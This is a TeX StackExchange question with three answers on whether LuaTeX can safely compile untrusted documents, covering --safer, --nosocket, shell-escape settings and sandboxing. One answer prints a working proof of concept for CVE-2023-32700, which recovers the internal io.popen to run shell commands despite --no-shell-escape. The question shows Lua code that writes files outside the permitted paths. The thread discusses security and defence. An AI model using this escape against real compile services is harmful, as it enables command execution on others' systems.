48

My texmf.cnf file contains these lines:

% Allow TeX \openin, \openout, or \input on filenames starting with `.'
% (e.g., .rhosts) or outside the current tree (e.g., /etc/passwd)?
% a (any)        : any file can be opened.
% r (restricted) : disallow opening "dotfiles".
% p (paranoid)   : as `r' and disallow going to parent directories, and
%                  restrict absolute paths to be under $TEXMFOUTPUT.
openout_any = p
openin_any = a

But if I compile the following code via lualatex, the file /home/login/unsafe.txt is created!

\documentclass{article}
\usepackage{luatextra}
\begin{luacode*}
  function securityproblem(a)
    local file = assert(io.open(os.getenv("HOME") .. "/unsafe.txt", "w"))
    file:write("foobar\n")
    file:write(a)
    file:close()
  end
\end{luacode*}
\begin{document}
\directlua{securityproblem("\today")}
\end{document}

Is luatex as secure as pdftex?

Edit:

With the --safer option, luatex can't write files (via io.open) but fontspec (for example) is unusable.

Is there a safe way to use LuaTEX with fontspec (and other useful features of LuaTeX) ?

Edit (May 2023)

The security of Lua(La)TeX seems to be taken into account in certain aspects: LuaTeX Security Vulnerabilities

Ten years after, does my question have an acceptable answer?

Paul Gaborit
  • 70,770
  • 10
  • 176
  • 283
  • 3
    Have you tried with lualatex --safer --no-shell-escape? The manual hints that otherwise functions such as io.open can be used as in normal lua. – Alexander Mar 04 '13 at 23:07

3 Answers3

17

You have to be careful with the --safer option. lualatex --safer file.tex correctly disables many things. But lualatex file.tex --safer doesn't disable your example or os.remove() or give warnings about an incorrectly located option (at least with TeX Live 2012 under Windows).

According to the LuaTeX manual, --safer disables the following:

  • os
    • execute, exec, setenv, rename, remove, tmpdir
  • io
    • popen, output, tmpfile
  • lfs
    • rmdir, mkdir, chdir, lock, touch

Furthermore, it disables loading of compiled LUA libraries (support for these was added in 0.46.0), and it makes io.open() fail on files that are opened for anything besides reading.

After a quick look through the documentation on these three libraries, I don't see much else obvious that could cause mischief. lfs.link() might be used to create a symlink and possibly cause issues under some circumstances.

You might also want the --nosocket/--no-socket option.

--nosocket makes the socket library unavailable, so that LUA cannot use networking.

muzimuzhi Z
  • 26,474
G. Poore
  • 12,417
4

Edit (May 2023)

The security of Lua(La)TeX seems to be taken into account in certain aspects: LuaTeX Security Vulnerabilities

Ten years after, does my question have an acceptable answer?

I'm the one who wrote that linked article, so let's take a closer look at some of the issues there.

CVE-2023-32700 (the “popen” vulnerability)

This is the main issue discussed in that link. We'll start with a quote from the LuaTeX manual §4.1.3:

The switches --[no-]shell-escape, --[enable|disable]-write18, and --shell-restricted have the same effects as in pdfTeX, and additionally make io.popen(), os.execute, os.exec and os.spawn adhere to the requested option.

And for some further context, §5.5 of the web2c manual:

TeX can execute shell escapes, that is, arbitrary shell commands. Although tremendously useful, this also has obvious security implications. Therefore, as of TeX Live 2009, a restricted mode for shell escapes is the default mode of operation, which allows executing only certain commands, as specified in the texmf.cnf configuration file.

  • Unrestricted shell escapes are allowed if the option --shell-escape is specified, or if the environment variable or config file value shell_escape is set to ‘t’ or ‘y’ and ‘1’.
  • Restricted shell escapes are allowed if shell_escape is set to ‘p’. This is the default.
  • Shell escapes are completely disabled if --no-shell-escape is specified, or if shell_escape is set to anything else.

[...]

The purpose of this feature is to make it possible for TeX documents to perform useful external actions in the common case of an individual user running a known document on his or her own machine. In such environments as CGI scripts or wikis where the input has to be considered untrustworthy, shell escapes should be completely disabled.

And finally, an excerpt from luatex --help:

   --[no-]shell-escape           disable/enable system commands
   --shell-restricted            restrict system commands to a list of commands given in texmf.cnf

What should we expect

Based off of the quoted snippets in these manuals, you would expect that compiling a document with something like

$ luatex --no-shell-escape some-document.tex

means that this document cannot execute any shell command at all.

So let's test it:

$ luatex --no-shell-escape '\directlua{print(io.popen("python3 --version"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023) 
nil     all command execution is disabled

$ luatex --shell-restricted '\directlua{print(io.popen("python3 --version"))}\end' This is LuaTeX, Version 1.17.0 (TeX Live 2023) restricted system commands enabled. nil specific command execution disabled

$ luatex --shell-escape '\directlua{print(io.popen("python3 --version"):read("a"))}\end' This is LuaTeX, Version 1.17.0 (TeX Live 2023) system commands enabled. Python 3.11.3

This worked exactly as we would expect: only with “unrestricted” shell escape can we run arbitrary commands.

The vulnerability

But if you're particularly clever, you can work around this:

% shell-escape-test.tex
\directlua{
    local function get_upvalue(func, name)
        local nups = debug.getinfo(func).nups
    for i = 1, nups do
        local current, value = debug.getupvalue(func, i)
        if current == name then
            return value
        end
    end
end

local outer = get_upvalue(io.popen, "popen")
local popen = get_upvalue(outer or io.popen, "io_popen")

print(popen(arg[rawlen(arg)]):read("*a"))

} \csname@@end\endcsname \end

$ luatex --no-shell-escape shell-escape-test.tex "python3 --version"
This is LuaTeX, Version 1.16.0 (TeX Live 2023)
 restricted system commands enabled.
(./shell-escape-test.texPython 3.11.3
)
warning  (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.

So despite what all the documentation said, we can still use shell escape. But what exactly is happening here?

From the link above:

When LuaTeX is started — before it runs any TeX or Lua code — it first calls the C function load_luatex_core_lua. This function runs the file luatex-core.lua that is embedded into the LuaTeX binary. Among other things, this file modifies a few Lua modules, mostly for backwards compatibility and security purposes.

Here’s an excerpt of the relevant code:

local io_popen = io.popen
-- [...]
local function luatex_io_popen(name,...)
    local okay, found = kpse_checkpermission(name)
    if okay and found then
        return io_popen(found,...)
    end
end
-- [...]
io.popen = luatex_io_popen

The above is pretty straightforward: it saves a local copy of the original io.popen, defines a new wrapper function that checks to see if the command is allowed with the current shell escape setting, and sets io.popen to the wrapper function.

The problem here is the local copy. The wrapper function saves a reference to the original io.popen, and using the Lua standard library function debug.getupvalue, we can access this internal reference. Once we’ve extracted the internal io.popen, we can use it to execute arbitrary processes without restriction, completely defeating any of the shell escape protections.

CVE-2023-32668 (the “luasocket” vulnerability

Now let's look at the other “vulnerability” in that link. Same as last time, we'll start by quoting the documentation.

From the LuaTeX manual §4.3:

luasocket, by Diego Nehab http://w3.impa.br/~diego/software/luasocket/. The .lua support modules from luasocket are also preloaded inside the executable, there are no external file dependencies.

So, the manual states that luasocket support is included with LuaTeX. As the name suggests, this module lets you make network requests from within LuaTeX.

And the output of luatex --help | grep socket:

   --nosocket                    disable the lua socket library

This doesn't directly state it, but the presence of --nosocket pretty heavily implies that sockets (network access) is enabled by default.

So, all this vulnerability means is that you can make network requests from within a TeX document:

\documentclass{article}

\usepackage{luacode} \begin{luacode} local http = require "socket.http" function get_ip() body, code, headers = http.request("http://icanhazip.com") tex.sprint(body) end \end{luacode} \def\getip{\directlua{get_ip()}}

\begin{document} Your IP address is \getip. \end{document}

But the documentation has always (for over 10 years now) stated that LuaTeX includes and enables luasocket, so this shouldn't be terribly surprising. This behaviour may be unwanted and potentially dangerous, but I wouldn't quite call it a “vulnerability”.

The original question

So, how does this relate to the original question? Let's look at §4.1.3 of the LuaTeX manual again:

At the moment, --safer [...] makes io.open() fail on files that are opened for anything besides reading.

The manual never says anything directly, but this pretty heavily implies that without --safer, io.open() can open files for writing.

I'm sure that you've already reran the code in your question, so you've probably figured out that it still works. This is quite similar to the luasocket issue though: both features could be potentially dangerous, but to be fair, LuaTeX never claimed to restrict either feature.

Compared to pdfTeX

Also, keep in mind that pdfTeX has had similar vulnerabilities in the past: CVE-2016-10243 affected pdfTeX, and allowed a particularly clever user to run arbitrary shell commands, even with only “restricted” shell escape enabled—just like the recently-patched “popen” vulnerability. In addition, pdfTeX embeds xpdf, which has had quite a few security issues.

Regardless, I'd say that—in general—LuaTeX is less secure than pdfTeX, simply because it gives you so many more ways to interact with the host system. There are certainly some things that could be tightened up, but there's a limit to how much you can do—one of the major reasons to use LuaTeX is because of the better access to the underlying system.

Also, computing has advanced a lot between the release of pdfTeX (in 1996) and now. Back then, containers and virtual machines didn't exist (on x86 at least), so the only way to safely run untrusted documents was to secure the underlying program.

These days, it's quick and easy to spin up an isolated container to compile any untrusted documents:

$ docker run --rm -it -v "$(pwd):/root" registry.gitlab.com/islandoftex/images/texlive:latest-medium lualatex /root/untrusted.tex

Or, if you're on Linux, you can just sandbox your LuaTeX compiler:

$ systemd-run --user \
       -p PrivateUsers=true \
       -p TemporaryFileSystem=/:ro \
       -p PrivateDevices=true \
       -p PrivateTmp=true \
       -p BindPaths="$(pwd)" \
       -p BindReadOnlyPaths='/bin/ /etc/ /lib/ /lib64/ /usr/' \
       --working-directory="$(pwd)" \
       --wait --collect --pipe \
       lualatex untrusted.tex

Either of these are more secure than just running pdfTeX on your host computer since these sandboxes ensure that even a completely malicious LuaTeX binary would have very limited access to your host system.

Max Chernoff
  • 4,667
3

Setup

  • Operating System: Arch Linux (Manjaro)
  • TeXLive: texlive-bin 2022.62885-3
  • Terminal: Xfce/bash

Technically, texlive-bin 2022.62885-3 is not the newest release at the time of writing (May 2023); but newer than the one that was available when the question was originally asked 10 years ago and according to Tug Post provided by the author of the question the version BEFORE the vulnerability fix was included.

Observations

Update 1 (2023-05-25):

Included output of kpsewhere texmf.cnf, thanks @Paul Gaborit for pointing out that command.

1. Compilation with lualatex FILENAME.tex,
no modifications to texmf.cnf

creates the file at /home/$USER/unsafe.txt

Output of kpsewhere texmf.cnf: /usr/share/texmf-dist/web2c/texmf.cnf

2. Compilation with lualatex --safer FILENAME.tex ,
no modifications to texmf.cnf

does not work, since the --safer flag gets detected and throws an error message:
luaotfload can't run with option --safer. Aborting
/usr/share/texmf-dist/tex/luatex/luaotfload/luaotfload.lua:105: safer_option used

Output of kpsewhere texmf.cnf: /usr/share/texmf-dist/web2c/texmf.cnf

3. Compilation with lualatex FILENAME.tex,
additional local texmf.cnf, TEXMFCNF Option 1

I created a LOCAL texmf.cnf only containing:

openout_any = p
openin_any = a

Before compilation, I added the line export TEXMFCNF='PATH/TO/LOCAL/TEXMF/DIR/' into my ~/.bashrc. Like expected, the compilation fails due to I can't find the format file 'lualatex.fmt'! (and consequently does not produce /home/$USER/unsafe.txt), since the local texmf.cnf is technically incomplete and the missing information prevents lualatex to run in the first place.

Output of kpsewhere texmf.cnf: (None)

4. Compilation with lualatex FILENAME.tex,
additional local texmf.cnf, TEXMFCNF Option 2

I created a LOCAL texmf.cnf only containing:

openout_any = p
openin_any = a

Before compilation, I added the line export TEXMFCNF='PATH/TO/LOCAL/TEXMF/DIR/:' into my ~/.bashrc and compiled the MWE with lualatex FILENAME.tex. Now the compilation runs with no error, but also produces /home/$USER/unsafe.txt

Output of kpsewhere texmf.cnf: PATH/TO/LOCAL/TEXMF/DIR/texmf.cnf

Explanation:

  1. The : at the end of the TEXMFCNF string allows Kpathsea to load all texmf.cnf it can find (including the default one). Omitting the : forces kpathsea to only use the path that is specified in TEXMFCNF.
  2. Although the output of kpsewhere points towards PATH/TO/LOCAL/TEXMF/DIR/texmf.cnf, another texmf.cnf has to be loaded (since the local file is incomplete and should not allow a compilation).

5. Compilation with lualatex FILENAME.tex,
only local texmf.cnf, TEXMFCNF Option 1

I copied /usr/share/texmf-dist/web2c/texmf.cnf to a LOCAL texmf.cnf and added at the end:

openout_any = p
openin_any = a

Before compilation, I added the line export TEXMFCNF='PATH/TO/LOCAL/TEXMF/DIR/' into my ~/.bashrc and compiled the MWE with lualatex FILENAME.tex. The compilation creates the file at /home/$USER/unsafe.txt

Output of kpsewhere texmf.cnf: PATH/TO/LOCAL/TEXMF/DIR/texmf.cnf

Explanation: In the file /usr/share/texmf-dist/web2c/texmf.cnf the values for openout_any and openin_any are already set to the desired values.

Summary of Observations

Either the document does not compile at all or the undesired file /home/$USER/unsafe.txt will be created.

Possible Reason

Update 1 (2023-05-25):

According to the comment of @Paul Gaborit,

the TeX part of luatex respects the settings related to kpathsea, but the Lua part of luatex ignores these settings.

This means that there is no way to control the behavior of Lua with a local texmf.cnf. In addition, Lua seems to also ignore the

openout_any = p
openin_any = a

which are already set in the default texmf.cnf.

Is there a safe way to use LuaTEX with fontspec (and other useful features of LuaTeX)?

Consider the following MWE:

\documentclass{scrreprt}
\usepackage{fontspec}

\begin{document} Test Document to see, whether {\ttfamily fontspec} works with the {\ttfamily --safe} or other options \end{document}

Compilation with lualatex FILENAME.tex produces a valid pdf.
Compilation with lualatex --safe FILENAME.tex aborts and gives the following error message:

(/usr/share/texmf-dist/tex/latex/base/fontenc.sty
! Font \TU/lmr/m/n/10.95=[lmroman10-regular]:+tlig; at 10.95pt not loadable: me
tric data not found or bad.
<to be read again> 
relax 
l.112 ...lt\familydefault\seriesdefault\shapedefault

So still, as of May 2023, the --safe option cannot be used in conjunction with fontspec. Using \usepackage{fontspec-luatex} does change nothing.
The LuaTeX Reference Manual provides additional, less restrictive command line options. They should in theory not block the file i/o, but e.g. networking capabilities. The command line options are:

  • --nosocket (prevents networking capabilities)
  • --no-shell-escape (prevents shell-escape completely)
  • --shell-restricted (restricts shell-escape to behavior defined in texmf.cmf)

The MWE compiles with lualatex --nosocket --no-shell-escape FILENAME.tex as well as lualatex --nosocket --shell-restricted FILENAME.tex

This of course does not offer as much protection as --safer, but should be better than none. So unfortunately, as by May 2023, there is no easy way to make LuaLaTeX safe and use all its functionality.

Conclusion: Is luatex as secure as pdftex?

Well, that depends. In my opinion, there are two aspects to consider:

  1. As soon as shell-escape is allowed, both luatex and pdftex are technically unsafe. In this case, malicious actors could inject code however they please, completely independent of what the internal capabilities of luatex and pdftex actually are.
  2. But what if shell-escape is explicitly prohibited? This is a tricky one to answer definitively.
    One might argue that even without the shell-escape options, since the Lua programming language is very powerful and comparatively wider spread than LaTeX, a potential malicious actor would have a big knowledge base to profit from and more attack options at their disposal. However, LaTeX3 is also insanely powerful and - in theory - could provide similar file i/o vulnerability as Lua. What reduces this risk is that the LaTeX3 syntax is quite cumbersome and not widely used outside the hardcore LaTeX community. Consequently, as the knowledge base is smaller and less as well as less worthwhile targets are available, the attack risk could be assumed to be a lot smaller.

In my humble opinion, there is no clear another possible as long as somebody tries to find LaTeX3 exploits and to replicate the LuaLaTeX exploits outlined in the Tug Post.
Additionally, in my experience, the Lua subset one can use in LuaLaTeX out-of-the-box is/behaves quite different/ly as the regular Lua. So porting of (higher-level/complicated) malware is not always straightforward.

My advice would be to at first use pdftex (if it provides you with all functionality you need) and only switch to LuaLaTeX if required. That also makes it easier to share your LaTeX files with other, less technically inclined LaTeX users, as in my experience sometimes the LuaLaTeX compilation is more tricky and the available functionality differs between different releases (versions as well as MikTeX versus TeXLive).

dsacre
  • 327
  • 1
  • 7